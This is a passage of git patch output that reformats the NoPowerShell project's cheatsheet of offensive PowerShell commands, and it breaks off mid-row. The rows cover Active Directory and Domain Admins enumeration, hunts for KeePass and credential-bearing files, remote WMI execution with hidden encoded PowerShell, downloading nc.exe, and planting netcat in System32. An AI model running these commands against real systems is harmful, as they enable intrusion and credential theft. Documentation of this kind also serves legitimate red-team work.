-| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | -| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | -| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | -| List processes | `Get-Process` | -| List processes - Alternative | `ps` | -| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | -| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | -| Kill process | `Stop-Process -Force -Id 4512` | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | -| Show information about the system | `Get-ComputerInfo` | -| Show information about the system - Alternative | `systeminfo` | -| Show information about the system not listing patches | `systeminfo -Simple` | -| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | -| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | -| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | -| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | -| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | -| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | -| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | -| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | -| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | -| Check for open port | `tnc bitsadm.in -Port 80` | -| List ARP table entries | `Get-NetNeighbor` | -| List ARP table entries - Alternative | `arp` | -| Show the IP routing table | `Get-NetRoute` | -| Show the IP routing table - Alternative | `route` | -| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | -| Show network interfaces | `Get-NetIPAddress` | -| Show network interfaces - Alternative | `ipconfig` | -| Show network interfaces - Alternative | `ifconfig` | -| Show all network interfaces | `Get-NetIPAddress -All` | -| Show all network interfaces - Alternative | `ipconfig -All` | -| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | -| List SMB shares on the computer | `Get-SmbShare` | -| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | -| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | -| Count number of results | `Get-Process \| Measure-Object` | -| Count number of results - Alternative | `Get-Process \| measure` | -| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | -| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | -| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | -| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | -| Show only the Name in a file listing | `ls C:\ \| select Name` | -| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | -| Sort processes by name descending | `ps \| sort -d name` | -| Format output as a table | `Get-Process \| Format-Table` | -| Format output as a table - Alternative | `Get-Process \| ft` | -| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | -| Format output as a list | `Get-LocalUser \| Format-List` | -| Format output as a list - Alternative | `Get-LocalUser \| fl` | -| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | -| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | +| Get the sites from the configuration naming context | Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn | +| Get specific object | Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties * | +| List all global groups | Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local" | +| List trusts | Get-ADTrust | +| List trusts recursively till depth 3 | Get-ADTrust -Depth 3 | +| List all details of a certain trust | Get-ADTrust -LDAPFilter "(Name=mydomain.com)" | +| List specific details of a certain trust | Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier | +| List all user groups in domain | Get-ADGroup -Filter * | +| List all administrative groups in domain | Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name | +| List all members of the "Domain Admins" group | Get-ADGroupMember -Identity "Domain Admins" | +| List all members of the "Domain Admins" group - Alternative | Get-ADGroupMember "Domain Admins" | +| List all properties of the DC01 domain computer | Get-ADComputer -Identity DC01 -Properties * | +| List all Domain Controllers | Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)" | +| List all computers in domain | Get-ADComputer -Filter * | +| List specific attributes of the DC01 domain computer | Get-ADComputer DC01 -Properties Name,operatingSystem | +| List all properties of the Administrator domain user | Get-ADUser -Identity Administrator -Properties * | +| List all Administrative users in domain | Get-ADUser -LDAPFilter "(admincount=1)" | +| List all users in domain | Get-ADUser -Filter * | +| List specific attributes of user | Get-ADUser Administrator -Properties SamAccountName,ObjectSID | +| List all users in a specific OU | Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter * | +| Show the current user | whoami | +| List SMB shares of MyServer | Get-RemoteSmbShare \\MyServer | +| Extract zip | Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted | +| Extract zip - Alternative | unzip C:\MyArchive.zip C:\Extracted | +| Extract zip into current directory | unzip C:\MyArchive.zip | +| Compress folder to zip | Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip | +| Compress folder to zip - Alternative | zip C:\MyFolder C:\MyFolder.zip | +| List all processes containing PowerShell in the process name | Get-Process \| ? Name -Like *PowerShell* | +| List all active local users | Get-LocalUser \| ? Disabled -EQ False | +| Get help for a command | Get-Help -Name Get-Process | +| Get help for a command - Alternative | man ps | +| List all commands supported by NoPowerShell | Get-Command | +| List commands of a certain module | Get-Command -Module ActiveDirectory | +| Resolve domain name | Resolve-DnsName microsoft.com | +| Resolve domain name - Alternative | host linux.org | +| Lookup specific record | Resolve-DnsName -Type MX pm.me | +| Reverse DNS lookup | Resolve-DnsName 1.1.1.1 | +| List all active members of the Administrators group | Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False | +| List all local groups | Get-LocalGroup | +| List details of a specific group | Get-LocalGroup Administrators | +| List members of Administrators group on a remote computer using WMI | Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators | +| List members of Administrators group on a remote computer using WMI - Alternative | Get-LocalGroup -ComputerName Myserver -Name Administrators | +| List all local users | Get-LocalUser | +| List details of a specific user | Get-LocalUser -Name Administrator | +| List details of a specific user - Alternative | Get-LocalUser Administrator | +| List details of a specific user on a remote machine using WMI | Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator | +| List details of a specific user on a remote machine using WMI - Alternative | Get-LocalUser -ComputerName MyServer Administrator | +| List drives | Get-PSDrive | +| List drives - Alternative | gdr | +| View contents of a file | Get-Content C:\Windows\WindowsUpdate.log | +| View contents of a file - Alternative | cat C:\Windows\WindowsUpdate.log | +| Get all hotfixes on the local computer | Get-HotFix | +| Get all hotfixes from a remote computer using WMI | Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd | +| Get all hotfixes from a remote computer using WMI - Alternative | Get-HotFix -ComputerName MyServer | +| Locate KeePass files in the C:\Users\ directory | Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx | +| Locate KeePass files in the C:\Users\ directory - Alternative | ls -Recurse -Force C:\Users\ -Include *.kdbx | +| List the keys under the SOFTWARE key in the registry | ls HKLM:\SOFTWARE | +| Search for files which can contain sensitive data on the C-drive | ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql | +| List local shares | Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'" | +| List local shares - Alternative | gwmi -Class Win32_Share -Filter "Name LIKE '%$'" | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine | +| View details about a certain service | Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'" | +| List processes | Get-Process | +| List processes - Alternative | ps | +| List processes on remote host using WMI | Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd! | +| List processes on remote host using WMI - Alternative | ps -ComputerName dc01.corp.local | +| Gracefully stop processes | Stop-Process -Id 4512,7241 | +| Kill process | Stop-Process -Force -Id 4512 | +| Kill all cmd.exe processes | Get-Process cmd \| Stop-Process -Force | +| Show information about the system | Get-ComputerInfo | +| Show information about the system - Alternative | systeminfo | +| Show information about the system not listing patches | systeminfo -Simple | +| Show information about a remote machine using WMI | Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword | +| Show information about a remote machine using WMI - Alternative | Get-ComputerInfo -ComputerName MyServer | +| Launch process | Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe" | +| Launch process on remote system | Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==" | +| Launch process on remote system - Alternative | iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==" | +| Delete a file | Remove-Item C:\tmp\MyFile.txt | +| Delete a file - Alternative | rm C:\tmp\MyFile.txt | +| Delete a read-only file | Remove-Item -Force C:\Tmp\MyFile.txt | +| Recursively delete a folder | Remove-Item -Recurse C:\Tmp\MyTools\ | +| List autoruns in the registry | Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft | +| Copy file from one location to another | Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe | +| Copy file from one location to another - Alternative | copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe | +| Copy folder | copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup | +| Send ICMP request to host | Test-NetConnection 1.1.1.1 | +| Send ICMP request to host - Alternative | tnc 1.1.1.1 | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | Test-NetConnection -Count 2 -Timeout 500 1.1.1.1 | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in | +| Perform ping with maximum TTL specified | ping -TTL 32 1.1.1.1 | +| Check for open port | tnc bitsadm.in -Port 80 | +| List ARP table entries | Get-NetNeighbor | +| List ARP table entries - Alternative | arp | +| Show the IP routing table | Get-NetRoute | +| Show the IP routing table - Alternative | route | +| Show the IP routing table on a remote machine using WMI | Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword | +| Show the IP routing table on a remote machine using WMI - Alternative | route -ComputerName MyServer | +| Show network interfaces | Get-NetIPAddress | +| Show network interfaces - Alternative | ipconfig | +| Show network interfaces - Alternative | ifconfig | +| Show all network interfaces | Get-NetIPAddress -All | +| Show all network interfaces - Alternative | ipconfig -All | +| Show all network interfaces on a remote machine using WMI | Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword | +| Show all network interfaces on a remote machine using WMI - Alternative | Get-NetIPAddress -All -ComputerName MyServer | +| List SMB shares on the computer | Get-SmbShare | +| List network shares on the local machine that are exposed to the network | Get-SmbMapping | +| List network shares on the local machine that are exposed to the network - Alternative | netuse | +| Count number of results | Get-Process \| Measure-Object | +| Count number of results - Alternative | Get-Process \| measure | +| Count number of lines in file | gc C:\Windows\WindowsUpdate.log \| measure | +| Download file from the Internet | Invoke-WebRequest http://myserver.me/nc.exe | +| Download file from the Internet - Alternative | wget http://myserver.me/nc.exe | +| Download file from the Internet specifying the destination | wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe | +| Show only the Name in a file listing | ls C:\ \| select Name | +| Show first 10 results of file listing | ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length | +| Sort processes by name descending | ps \| sort -d name | +| Format output as a table | Get-Process \| Format-Table | +| Format output as a table - Alternative | Get-Process \| ft | +| Format output as a table showing only specific attributes | Get-Process \| ft ProcessId,Name | +| Format output as a list | Get-LocalUser \| Format-List | +| Format output as a list - Alternative | Get-LocalUser \| fl | +| Format output as a list showing only specific attributes | Get-LocalUser \| fl Name,Description | +| Store list of commands as CSV | Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv | From af3e1fb091ac5fade16fc21f0bd9d1400444a1e1 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sun, 5 Apr 2020 00:16:01 +0200 Subject: [PATCH 13/23] Fixed cheatsheet layout --- CHEATSHEET.md | 248 +++++++++--------- .../Commands/Core/GetCommandCommand.cs | 10 - .../Management/GetChildItemCommand.cs | 2 +- 3 files changed, 125 insertions(+), 135 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index d4e5a2d..d9318d4 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -3,127 +3,127 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | Action | Command | | - | - | -| Get the sites from the configuration naming context | Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn | -| Get specific object | Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties * | -| List all global groups | Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local" | -| List trusts | Get-ADTrust | -| List trusts recursively till depth 3 | Get-ADTrust -Depth 3 | -| List all details of a certain trust | Get-ADTrust -LDAPFilter "(Name=mydomain.com)" | -| List specific details of a certain trust | Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier | -| List all user groups in domain | Get-ADGroup -Filter * | -| List all administrative groups in domain | Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name | -| List all members of the "Domain Admins" group | Get-ADGroupMember -Identity "Domain Admins" | -| List all members of the "Domain Admins" group - Alternative | Get-ADGroupMember "Domain Admins" | -| List all properties of the DC01 domain computer | Get-ADComputer -Identity DC01 -Properties * | -| List all Domain Controllers | Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)" | -| List all computers in domain | Get-ADComputer -Filter * | -| List specific attributes of the DC01 domain computer | Get-ADComputer DC01 -Properties Name,operatingSystem | -| List all properties of the Administrator domain user | Get-ADUser -Identity Administrator -Properties * | -| List all Administrative users in domain | Get-ADUser -LDAPFilter "(admincount=1)" | -| List all users in domain | Get-ADUser -Filter * | -| List specific attributes of user | Get-ADUser Administrator -Properties SamAccountName,ObjectSID | -| List all users in a specific OU | Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter * | -| Show the current user | whoami | -| List SMB shares of MyServer | Get-RemoteSmbShare \\MyServer | -| Extract zip | Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted | -| Extract zip - Alternative | unzip C:\MyArchive.zip C:\Extracted | -| Extract zip into current directory | unzip C:\MyArchive.zip | -| Compress folder to zip | Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip | -| Compress folder to zip - Alternative | zip C:\MyFolder C:\MyFolder.zip | -| List all processes containing PowerShell in the process name | Get-Process \| ? Name -Like *PowerShell* | -| List all active local users | Get-LocalUser \| ? Disabled -EQ False | -| Get help for a command | Get-Help -Name Get-Process | -| Get help for a command - Alternative | man ps | -| List all commands supported by NoPowerShell | Get-Command | -| List commands of a certain module | Get-Command -Module ActiveDirectory | -| Resolve domain name | Resolve-DnsName microsoft.com | -| Resolve domain name - Alternative | host linux.org | -| Lookup specific record | Resolve-DnsName -Type MX pm.me | -| Reverse DNS lookup | Resolve-DnsName 1.1.1.1 | -| List all active members of the Administrators group | Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False | -| List all local groups | Get-LocalGroup | -| List details of a specific group | Get-LocalGroup Administrators | -| List members of Administrators group on a remote computer using WMI | Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators | -| List members of Administrators group on a remote computer using WMI - Alternative | Get-LocalGroup -ComputerName Myserver -Name Administrators | -| List all local users | Get-LocalUser | -| List details of a specific user | Get-LocalUser -Name Administrator | -| List details of a specific user - Alternative | Get-LocalUser Administrator | -| List details of a specific user on a remote machine using WMI | Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator | -| List details of a specific user on a remote machine using WMI - Alternative | Get-LocalUser -ComputerName MyServer Administrator | -| List drives | Get-PSDrive | -| List drives - Alternative | gdr | -| View contents of a file | Get-Content C:\Windows\WindowsUpdate.log | -| View contents of a file - Alternative | cat C:\Windows\WindowsUpdate.log | -| Get all hotfixes on the local computer | Get-HotFix | -| Get all hotfixes from a remote computer using WMI | Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd | -| Get all hotfixes from a remote computer using WMI - Alternative | Get-HotFix -ComputerName MyServer | -| Locate KeePass files in the C:\Users\ directory | Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx | -| Locate KeePass files in the C:\Users\ directory - Alternative | ls -Recurse -Force C:\Users\ -Include *.kdbx | -| List the keys under the SOFTWARE key in the registry | ls HKLM:\SOFTWARE | -| Search for files which can contain sensitive data on the C-drive | ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql | -| List local shares | Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'" | -| List local shares - Alternative | gwmi -Class Win32_Share -Filter "Name LIKE '%$'" | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine | -| View details about a certain service | Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'" | -| List processes | Get-Process | -| List processes - Alternative | ps | -| List processes on remote host using WMI | Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd! | -| List processes on remote host using WMI - Alternative | ps -ComputerName dc01.corp.local | -| Gracefully stop processes | Stop-Process -Id 4512,7241 | -| Kill process | Stop-Process -Force -Id 4512 | -| Kill all cmd.exe processes | Get-Process cmd \| Stop-Process -Force | -| Show information about the system | Get-ComputerInfo | -| Show information about the system - Alternative | systeminfo | -| Show information about the system not listing patches | systeminfo -Simple | -| Show information about a remote machine using WMI | Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword | -| Show information about a remote machine using WMI - Alternative | Get-ComputerInfo -ComputerName MyServer | -| Launch process | Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe" | -| Launch process on remote system | Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==" | -| Launch process on remote system - Alternative | iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==" | -| Delete a file | Remove-Item C:\tmp\MyFile.txt | -| Delete a file - Alternative | rm C:\tmp\MyFile.txt | -| Delete a read-only file | Remove-Item -Force C:\Tmp\MyFile.txt | -| Recursively delete a folder | Remove-Item -Recurse C:\Tmp\MyTools\ | -| List autoruns in the registry | Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft | -| Copy file from one location to another | Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe | -| Copy file from one location to another - Alternative | copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe | -| Copy folder | copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup | -| Send ICMP request to host | Test-NetConnection 1.1.1.1 | -| Send ICMP request to host - Alternative | tnc 1.1.1.1 | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | Test-NetConnection -Count 2 -Timeout 500 1.1.1.1 | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in | -| Perform ping with maximum TTL specified | ping -TTL 32 1.1.1.1 | -| Check for open port | tnc bitsadm.in -Port 80 | -| List ARP table entries | Get-NetNeighbor | -| List ARP table entries - Alternative | arp | -| Show the IP routing table | Get-NetRoute | -| Show the IP routing table - Alternative | route | -| Show the IP routing table on a remote machine using WMI | Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword | -| Show the IP routing table on a remote machine using WMI - Alternative | route -ComputerName MyServer | -| Show network interfaces | Get-NetIPAddress | -| Show network interfaces - Alternative | ipconfig | -| Show network interfaces - Alternative | ifconfig | -| Show all network interfaces | Get-NetIPAddress -All | -| Show all network interfaces - Alternative | ipconfig -All | -| Show all network interfaces on a remote machine using WMI | Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword | -| Show all network interfaces on a remote machine using WMI - Alternative | Get-NetIPAddress -All -ComputerName MyServer | -| List SMB shares on the computer | Get-SmbShare | -| List network shares on the local machine that are exposed to the network | Get-SmbMapping | -| List network shares on the local machine that are exposed to the network - Alternative | netuse | -| Count number of results | Get-Process \| Measure-Object | -| Count number of results - Alternative | Get-Process \| measure | -| Count number of lines in file | gc C:\Windows\WindowsUpdate.log \| measure | -| Download file from the Internet | Invoke-WebRequest http://myserver.me/nc.exe | -| Download file from the Internet - Alternative | wget http://myserver.me/nc.exe | -| Download file from the Internet specifying the destination | wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe | -| Show only the Name in a file listing | ls C:\ \| select Name | -| Show first 10 results of file listing | ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length | -| Sort processes by name descending | ps \| sort -d name | -| Format output as a table | Get-Process \| Format-Table | -| Format output as a table - Alternative | Get-Process \| ft | -| Format output as a table showing only specific attributes | Get-Process \| ft ProcessId,Name | -| Format output as a list | Get-LocalUser \| Format-List | -| Format output as a list - Alternative | Get-LocalUser \| fl | -| Format output as a list showing only specific attributes | Get-LocalUser \| fl Name,Description | -| Store list of commands as CSV | Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv | +| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | +| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | +| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | +| List trusts | `Get-ADTrust` | +| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | +| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | +| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | +| List all user groups in domain | `Get-ADGroup -Filter *` | +| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | +| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | +| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | +| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | +| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | +| List all computers in domain | `Get-ADComputer -Filter *` | +| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | +| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | +| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | +| List all users in domain | `Get-ADUser -Filter *` | +| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | +| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | +| Show the current user | `whoami` | +| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | +| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | +| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | +| Extract zip into current directory | `unzip C:\MyArchive.zip` | +| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | +| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | +| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | +| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | +| Get help for a command | `Get-Help -Name Get-Process` | +| Get help for a command - Alternative | `man ps` | +| List all commands supported by NoPowerShell | `Get-Command` | +| List commands of a certain module | `Get-Command -Module ActiveDirectory` | +| Resolve domain name | `Resolve-DnsName microsoft.com` | +| Resolve domain name - Alternative | `host linux.org` | +| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | +| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | +| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | +| List all local groups | `Get-LocalGroup` | +| List details of a specific group | `Get-LocalGroup Administrators` | +| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | +| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | +| List all local users | `Get-LocalUser` | +| List details of a specific user | `Get-LocalUser -Name Administrator` | +| List details of a specific user - Alternative | `Get-LocalUser Administrator` | +| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | +| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | +| List drives | `Get-PSDrive` | +| List drives - Alternative | `gdr` | +| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | +| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | +| Get all hotfixes on the local computer | `Get-HotFix` | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | +| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | +| Locate KeePass files in the C:\Users\ directory - 